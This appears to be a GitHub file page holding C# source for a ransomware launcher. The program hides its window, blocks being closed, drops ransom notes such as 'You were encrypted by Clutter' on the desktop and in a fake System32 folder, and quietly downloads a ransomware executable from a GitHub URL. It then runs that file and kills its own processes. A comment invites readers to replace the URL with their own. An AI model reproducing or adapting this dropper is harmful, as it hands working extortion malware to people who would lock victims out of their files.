-
Notifications
You must be signed in to change notification settings - Fork 24
Expand file tree
/
Copy pathlauncher.txt
More file actions
84 lines (67 loc) · 3.19 KB
/
launcher.txt
File metadata and controls
84 lines (67 loc) · 3.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Windows.Forms;
namespace launcher2._0
{
public partial class launcher2 : Form
{
public launcher2()
{
InitializeComponent();
this.TransparencyKey = this.BackColor; //Make invisible
}
private void launcher2_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true; //anti_Kill
}
private void launcher2_Load(object sender, EventArgs e)
{
Directory.CreateDirectory("C:\\Program Files\\System32"); //Create Folder
File.WriteAllText("C:\\Program Files\\System32\\README.txt", "You were encrypted by Clutter, good luck..."); //Create text file :-)
this.Left = 0; //Make 0 size
this.Top = 0; //Make 0 size
this.Width = Screen.PrimaryScreen.Bounds.Width; //Make 0 size
this.Height = Screen.PrimaryScreen.Bounds.Height; //Make 0 size
string path_cache = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); //define path on desktop
string existfile = path_cache + @"\._cache_DCQPKX.exe"; //define for kill process
if (!File.Exists(existfile))
{
string pathcachefile = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
using (StreamWriter streamWriter = File.CreateText(pathcachefile + @"\._cache_DCQPKX.exe"))
{
streamWriter.WriteLine("Ur files has been locked :-)"); //text for file
}
}
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
using (StreamWriter streamWriter = File.CreateText(path + @"\RANSOMWARE2.0.txt")) //Create file
{
streamWriter.WriteLine("Ur files has been locked :-)"); //Text for file
}
ServicePointManager.Expect100Continue = true; //Make protocol for donwload file from github
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
WebClient webClient = new WebClient();
webClient.DownloadFile("https://github.com/Clutter-Test/Ransom_File_For_Tutorial/raw/master/Rasomware2.0.exe", @"C:\Program Files\System32\Ransomware2.0.exe"); //Hide donwloading :-), please change url to your
Process.Start("C:\\Program Files\\System32\\Ransomware2.0.exe"); //After download file, start ransomware
Process[] _process = null;
_process = Process.GetProcessesByName("DCQPKX"); //kill laucher
foreach (Process proces in _process)
{
proces.Kill();
}
Process[] _process2 = null;
_process2 = Process.GetProcessesByName("._cache_DCQPKX"); //If exist cache virus file, kill too
foreach (Process proces2 in _process2)
{
proces2.Kill();
}
}
}
}